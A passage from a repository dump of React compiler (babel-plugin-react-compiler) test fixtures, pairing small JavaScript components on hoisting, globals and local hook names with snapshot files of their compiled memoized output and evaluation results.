    "content": "function Component(props) {\n  const x = {};\n  const y = Boolean(x);\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-Number.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = {};\n  const y = Number(x);\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = {};\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = t0;\n  const y = Number(x);\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = [x, y];\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-Number.js",
    "content": "function Component(props) {\n  const x = {};\n  const y = Number(x);\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-String.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = {};\n  const y = String(x);\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = {};\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = t0;\n  const y = String(x);\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = [x, y];\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-String.js",
    "content": "function Component(props) {\n  const x = {};\n  const y = String(x);\n  return [x, y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-dont-resolve-local-useState.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useState as _useState, useCallback, useEffect} from 'react';\nimport {ValidateMemoization} from 'shared-runtime';\n\nfunction useState(value) {\n  const [state, setState] = _useState(value);\n  return [state, setState];\n}\n\nfunction Component() {\n  const [state, setState] = useState('hello');\n\n  return <div onClick={() => setState('goodbye')}>{state}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useState as _useState, useCallback, useEffect } from \"react\";\nimport { ValidateMemoization } from \"shared-runtime\";\n\nfunction useState(value) {\n  const $ = _c(2);\n  const [state, setState] = _useState(value);\n  let t0;\n  if ($[0] !== state) {\n    t0 = [state, setState];\n    $[0] = state;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nfunction Component() {\n  const $ = _c(5);\n  const [state, setState] = useState(\"hello\");\n  let t0;\n  if ($[0] !== setState) {\n    t0 = () => setState(\"goodbye\");\n    $[0] = setState;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  let t1;\n  if ($[2] !== state || $[3] !== t0) {\n    t1 = <div onClick={t0}>{state}</div>;\n    $[2] = state;\n    $[3] = t0;\n    $[4] = t1;\n  } else {\n    t1 = $[4];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>hello</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/globals-dont-resolve-local-useState.js",
    "content": "import {useState as _useState, useCallback, useEffect} from 'react';\nimport {ValidateMemoization} from 'shared-runtime';\n\nfunction useState(value) {\n  const [state, setState] = _useState(value);\n  return [state, setState];\n}\n\nfunction Component() {\n  const [state, setState] = useState('hello');\n\n  return <div onClick={() => setState('goodbye')}>{state}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoist-destruct.expect.md",
    "content": "\n## Input\n\n```javascript\n//@flow\ncomponent Foo() {\n  function foo() {\n    return (\n      <div>\n        {a} {z} {y}\n      </div>\n    );\n  }\n  const [a, {x: z, y = 10}] = [1, {x: 2}];\n  return foo();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Foo() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const foo = function foo() {\n      return (\n        <div>\n          {a} {z} {y}\n        </div>\n      );\n    };\n    const [t1, t2] = [1, { x: 2 }];\n    const a = t1;\n    const { x: t3, y: t4 } = t2;\n    const z = t3;\n    const y = t4 === undefined ? 10 : t4;\n    t0 = foo();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>1 2 10</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoist-destruct.js",
    "content": "//@flow\ncomponent Foo() {\n  function foo() {\n    return (\n      <div>\n        {a} {z} {y}\n      </div>\n    );\n  }\n  const [a, {x: z, y = 10}] = [1, {x: 2}];\n  return foo();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisted-context-variable-in-outlined-fn.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {CONST_TRUE, useIdentity} from 'shared-runtime';\n\nconst hidden = CONST_TRUE;\nfunction useFoo() {\n  const makeCb = useIdentity(() => {\n    const logIntervalId = () => {\n      log(intervalId);\n    };\n\n    let intervalId;\n    if (!hidden) {\n      intervalId = 2;\n    }\n    return () => {\n      logIntervalId();\n    };\n  });\n\n  return <Stringify fn={makeCb()} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { CONST_TRUE, useIdentity } from \"shared-runtime\";\n\nconst hidden = CONST_TRUE;\nfunction useFoo() {\n  const $ = _c(4);\n  const makeCb = useIdentity(_temp);\n  let t0;\n  if ($[0] !== makeCb) {\n    t0 = makeCb();\n    $[0] = makeCb;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  let t1;\n  if ($[2] !== t0) {\n    t1 = <Stringify fn={t0} shouldInvokeFns={true} />;\n    $[2] = t0;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\nfunction _temp() {\n  const logIntervalId = () => {\n    log(intervalId);\n  };\n  let intervalId;\n  if (!hidden) {\n    intervalId = 2;\n  }\n  return () => {\n    logIntervalId();\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: exception) Stringify is not defined"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisted-context-variable-in-outlined-fn.js",
    "content": "import {CONST_TRUE, useIdentity} from 'shared-runtime';\n\nconst hidden = CONST_TRUE;\nfunction useFoo() {\n  const makeCb = useIdentity(() => {\n    const logIntervalId = () => {\n      log(intervalId);\n    };\n\n    let intervalId;\n    if (!hidden) {\n      intervalId = 2;\n    }\n    return () => {\n      logIntervalId();\n    };\n  });\n\n  return <Stringify fn={makeCb()} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisted-declaration-with-scope.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {StaticText1, Stringify, identity, useHook} from 'shared-runtime';\n\n/**\n * `button` and `dispatcher` must end up in the same memo block. It would be\n * invalid for `button` to take a dependency on `dispatcher` as dispatcher\n * is created later.\n */\nfunction useFoo({onClose}) {\n  const button = StaticText1 ?? (\n    <Stringify\n      primary={{\n        label: identity('label'),\n        onPress: onClose,\n      }}\n      secondary={{\n        onPress: () => {\n          dispatcher.go('route2');\n        },\n      }}\n    />\n  );\n\n  const dispatcher = useHook();\n\n  return button;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{onClose: identity()}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { StaticText1, Stringify, identity, useHook } from \"shared-runtime\";\n\n/**\n * `button` and `dispatcher` must end up in the same memo block. It would be\n * invalid for `button` to take a dependency on `dispatcher` as dispatcher\n * is created later.\n */\nfunction useFoo(t0) {\n  const { onClose } = t0;\n  const button = StaticText1 ?? (\n    <Stringify\n      primary={{ label: identity(\"label\"), onPress: onClose }}\n      secondary={{\n        onPress: () => {\n          dispatcher.go(\"route2\");\n        },\n      }}\n    />\n  );\n\n  const dispatcher = useHook();\n\n  return button;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ onClose: identity() }],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"[[ function params=1 ]]\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisted-declaration-with-scope.tsx",
    "content": "import {StaticText1, Stringify, identity, useHook} from 'shared-runtime';\n\n/**\n * `button` and `dispatcher` must end up in the same memo block. It would be\n * invalid for `button` to take a dependency on `dispatcher` as dispatcher\n * is created later.\n */\nfunction useFoo({onClose}) {\n  const button = StaticText1 ?? (\n    <Stringify\n      primary={{\n        label: identity('label'),\n        onPress: onClose,\n      }}\n      secondary={{\n        onPress: () => {\n          dispatcher.go('route2');\n        },\n      }}\n    />\n  );\n\n  const dispatcher = useHook();\n\n  return button;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{onClose: identity()}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisted-function-declaration.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a) {\n  let t = {a};\n  x(t); // hoisted call\n  function x(p) {\n    p.a.foo();\n  }\n  return t;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\n    {\n      foo: () => {\n        console.log(42);\n      },\n    },\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction component(a) {\n  const $ = _c(2);\n  let t;\n  if ($[0] !== a) {\n    t = { a };\n    x(t);\n    function x(p) {\n      p.a.foo();\n    }\n    $[0] = a;\n    $[1] = t;\n  } else {\n    t = $[1];\n  }\n\n  return t;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\n    {\n      foo: () => {\n        console.log(42);\n      },\n    },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":{\"foo\":\"[[ function params=0 ]]\"}}\nlogs: [42]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisted-function-declaration.js",
    "content": "function component(a) {\n  let t = {a};\n  x(t); // hoisted call\n  function x(p) {\n    p.a.foo();\n  }\n  return t;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: component,\n  params: [\n    {\n      foo: () => {\n        console.log(42);\n      },\n    },\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-computed-member-expression.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n\nfunction hoisting() {\n  function onClick() {\n    return bar['baz'];\n  }\n  function onClick2() {\n    return bar[baz];\n  }\n  const baz = 'baz';\n  const bar = {baz: 1};\n\n  return (\n    <Stringify onClick={onClick} onClick2={onClick2} shouldInvokeFns={true} />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction hoisting() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const onClick = function onClick() {\n      return bar.baz;\n    };\n    const onClick2 = function onClick2() {\n      return bar[baz];\n    };\n    const baz = \"baz\";\n    const bar = { baz: 1 };\n    t0 = (\n      <Stringify onClick={onClick} onClick2={onClick2} shouldInvokeFns={true} />\n    );\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"onClick\":{\"kind\":\"Function\",\"result\":1},\"onClick2\":{\"kind\":\"Function\",\"result\":1},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-computed-member-expression.js",
    "content": "import {Stringify} from 'shared-runtime';\n\nfunction hoisting() {\n  function onClick() {\n    return bar['baz'];\n  }\n  function onClick2() {\n    return bar[baz];\n  }\n  const baz = 'baz';\n  const bar = {baz: 1};\n\n  return (\n    <Stringify onClick={onClick} onClick2={onClick2} shouldInvokeFns={true} />\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-functionexpr-conditional-dep.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n\n/**\n * We currently hoist the accessed properties of function expressions,\n * regardless of control flow. This is simply because we wrote support for\n * function expressions before doing a lot of work in PropagateScopeDeps\n * to handle conditionally accessed dependencies.\n *\n * Current evaluator error:\n *  Found differences in evaluator results\n *  Non-forget (expected):\n *  (kind: ok) <div>{\"shouldInvokeFns\":true,\"callback\":{\"kind\":\"Function\",\"result\":null}}</div>\n *  Forget:\n *  (kind: exception) Cannot read properties of null (reading 'prop')\n */\nfunction Component({obj, isObjNull}) {\n  const callback = () => {\n    if (!isObjNull) {\n      return obj.prop;\n    } else {\n      return null;\n    }\n  };\n  return <Stringify shouldInvokeFns={true} callback={callback} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{obj: null, isObjNull: true}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\n\n/**\n * We currently hoist the accessed properties of function expressions,\n * regardless of control flow. This is simply because we wrote support for\n * function expressions before doing a lot of work in PropagateScopeDeps\n * to handle conditionally accessed dependencies.\n *\n * Current evaluator error:\n *  Found differences in evaluator results\n *  Non-forget (expected):\n *  (kind: ok) <div>{\"shouldInvokeFns\":true,\"callback\":{\"kind\":\"Function\",\"result\":null}}</div>\n *  Forget:\n *  (kind: exception) Cannot read properties of null (reading 'prop')\n */\nfunction Component(t0) {\n  const $ = _c(3);\n  const { obj, isObjNull } = t0;\n  let t1;\n  if ($[0] !== isObjNull || $[1] !== obj) {\n    const callback = () => {\n      if (!isObjNull) {\n        return obj.prop;\n      } else {\n        return null;\n      }\n    };\n    t1 = <Stringify shouldInvokeFns={true} callback={callback} />;\n    $[0] = isObjNull;\n    $[1] = obj;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ obj: null, isObjNull: true }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"shouldInvokeFns\":true,\"callback\":{\"kind\":\"Function\",\"result\":null}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-functionexpr-conditional-dep.tsx",
    "content": "import {Stringify} from 'shared-runtime';\n\n/**\n * We currently hoist the accessed properties of function expressions,\n * regardless of control flow. This is simply because we wrote support for\n * function expressions before doing a lot of work in PropagateScopeDeps\n * to handle conditionally accessed dependencies.\n *\n * Current evaluator error:\n *  Found differences in evaluator results\n *  Non-forget (expected):\n *  (kind: ok) <div>{\"shouldInvokeFns\":true,\"callback\":{\"kind\":\"Function\",\"result\":null}}</div>\n *  Forget:\n *  (kind: exception) Cannot read properties of null (reading 'prop')\n */\nfunction Component({obj, isObjNull}) {\n  const callback = () => {\n    if (!isObjNull) {\n      return obj.prop;\n    } else {\n      return null;\n    }\n  };\n  return <Stringify shouldInvokeFns={true} callback={callback} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{obj: null, isObjNull: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-invalid-tdz-let.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Foo() {\n  const getX = () => x;\n  console.log(getX());\n\n  let x = 4;\n  x += 5;\n\n  return <Stringify getX={getX} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Foo() {\n  const $ = _c(2);\n  let getX;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    getX = () => x;\n    console.log(getX());\n\n    let x = 4;\n    x = x + 5;\n    $[0] = getX;\n  } else {\n    getX = $[0];\n  }\n  x;\n  let t0;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <Stringify getX={getX} shouldInvokeFns={true} />;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: exception) Cannot access 'x' before initialization"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-invalid-tdz-let.js",
    "content": "function Foo() {\n  const getX = () => x;\n  console.log(getX());\n\n  let x = 4;\n  x += 5;\n\n  return <Stringify getX={getX} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-let-declaration-without-initialization.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {CONST_NUMBER1, Stringify} from 'shared-runtime';\n\nfunction useHook({cond}) {\n  'use memo';\n  const getX = () => x;\n\n  let x;\n  if (cond) {\n    x = CONST_NUMBER1;\n  }\n  return <Stringify getX={getX} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: () => {},\n  params: [{cond: true}],\n  sequentialRenders: [{cond: true}, {cond: true}, {cond: false}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { CONST_NUMBER1, Stringify } from \"shared-runtime\";\n\nfunction useHook(t0) {\n  \"use memo\";\n  const $ = _c(2);\n  const { cond } = t0;\n  let t1;\n  if ($[0] !== cond) {\n    const getX = () => x;\n    let x;\n    if (cond) {\n      x = CONST_NUMBER1;\n    }\n    t1 = <Stringify getX={getX} shouldInvokeFns={true} />;\n    $[0] = cond;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: () => {},\n  params: [{ cond: true }],\n  sequentialRenders: [{ cond: true }, { cond: true }, { cond: false }],\n};\n\n```\n      \n### Eval output\n(kind: ok) \n\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-let-declaration-without-initialization.js",
    "content": "import {CONST_NUMBER1, Stringify} from 'shared-runtime';\n\nfunction useHook({cond}) {\n  'use memo';\n  const getX = () => x;\n\n  let x;\n  if (cond) {\n    x = CONST_NUMBER1;\n  }\n  return <Stringify getX={getX} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: () => {},\n  params: [{cond: true}],\n  sequentialRenders: [{cond: true}, {cond: true}, {cond: false}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-member-expression.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {Stringify} from 'shared-runtime';\n\nfunction hoisting() {\n  function onClick(x) {\n    return x + bar.baz;\n  }\n  const bar = {baz: 1};\n\n  return <Stringify onClick={onClick} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction hoisting() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const onClick = function onClick(x) {\n      return x + bar.baz;\n    };\n    const bar = { baz: 1 };\n    t0 = <Stringify onClick={onClick} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"onClick\":\"[[ function params=1 ]]\"}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-member-expression.js",
    "content": "import {Stringify} from 'shared-runtime';\n\nfunction hoisting() {\n  function onClick(x) {\n    return x + bar.baz;\n  }\n  const bar = {baz: 1};\n\n  return <Stringify onClick={onClick} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-block-statements.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {print} from 'shared-runtime';\n\nfunction hoisting(cond) {\n  if (cond) {\n    const x = 1;\n    print(x);\n  }\n\n  const x = 2;\n  print(x);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [false],\n};\n\n```\n\n## Code\n\n```javascript\nimport { print } from \"shared-runtime\";\n\nfunction hoisting(cond) {\n  if (cond) {\n    print(1);\n  }\n\n  print(2);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [false],\n};\n\n```\n      \n### Eval output\n(kind: ok) \nlogs: [2]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-block-statements.js",
    "content": "import {print} from 'shared-runtime';\n\nfunction hoisting(cond) {\n  if (cond) {\n    const x = 1;\n    print(x);\n  }\n\n  const x = 2;\n  print(x);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [false],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-const-declaration-2.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction hoisting(cond) {\n  let items = [];\n  if (cond) {\n    const foo = () => {\n      items.push(bar());\n    };\n    const bar = () => true;\n    foo();\n  }\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [true],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction hoisting(cond) {\n  const $ = _c(2);\n  let items;\n  if ($[0] !== cond) {\n    items = [];\n    if (cond) {\n      const foo = () => {\n        items.push(bar());\n      };\n\n      const bar = _temp;\n      foo();\n    }\n    $[0] = cond;\n    $[1] = items;\n  } else {\n    items = $[1];\n  }\n\n  return items;\n}\nfunction _temp() {\n  return true;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [true],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) [true]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-const-declaration-2.js",
    "content": "function hoisting(cond) {\n  let items = [];\n  if (cond) {\n    const foo = () => {\n      items.push(bar());\n    };\n    const bar = () => true;\n    foo();\n  }\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [true],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-const-declaration.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction hoisting() {\n  const qux = () => {\n    let result;\n    {\n      result = foo();\n    }\n    return result;\n  };\n  const foo = () => {\n    return bar + baz;\n  };\n  const bar = 3;\n  const baz = 2;\n  return qux(); // OK: called outside of TDZ\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction hoisting() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const qux = () => {\n      let result;\n      result = foo();\n      return result;\n    };\n    const foo = () => bar + baz;\n    const bar = 3;\n    const baz = 2;\n    t0 = qux();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) 5"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-const-declaration.js",
    "content": "function hoisting() {\n  const qux = () => {\n    let result;\n    {\n      result = foo();\n    }\n    return result;\n  };\n  const foo = () => {\n    return bar + baz;\n  };\n  const bar = 3;\n  const baz = 2;\n  return qux(); // OK: called outside of TDZ\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-let-declaration-2.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction hoisting(cond) {\n  let items = [];\n  if (cond) {\n    let foo = () => {\n      items.push(bar());\n    };\n    let bar = () => true;\n    foo();\n  }\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [true],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction hoisting(cond) {\n  const $ = _c(2);\n  let items;\n  if ($[0] !== cond) {\n    items = [];\n    if (cond) {\n      const foo = () => {\n        items.push(bar());\n      };\n\n      let bar = _temp;\n      foo();\n    }\n    $[0] = cond;\n    $[1] = items;\n  } else {\n    items = $[1];\n  }\n\n  return items;\n}\nfunction _temp() {\n  return true;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [true],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) [true]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-let-declaration-2.js",
    "content": "function hoisting(cond) {\n  let items = [];\n  if (cond) {\n    let foo = () => {\n      items.push(bar());\n    };\n    let bar = () => true;\n    foo();\n  }\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [true],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-let-declaration.expect.md",
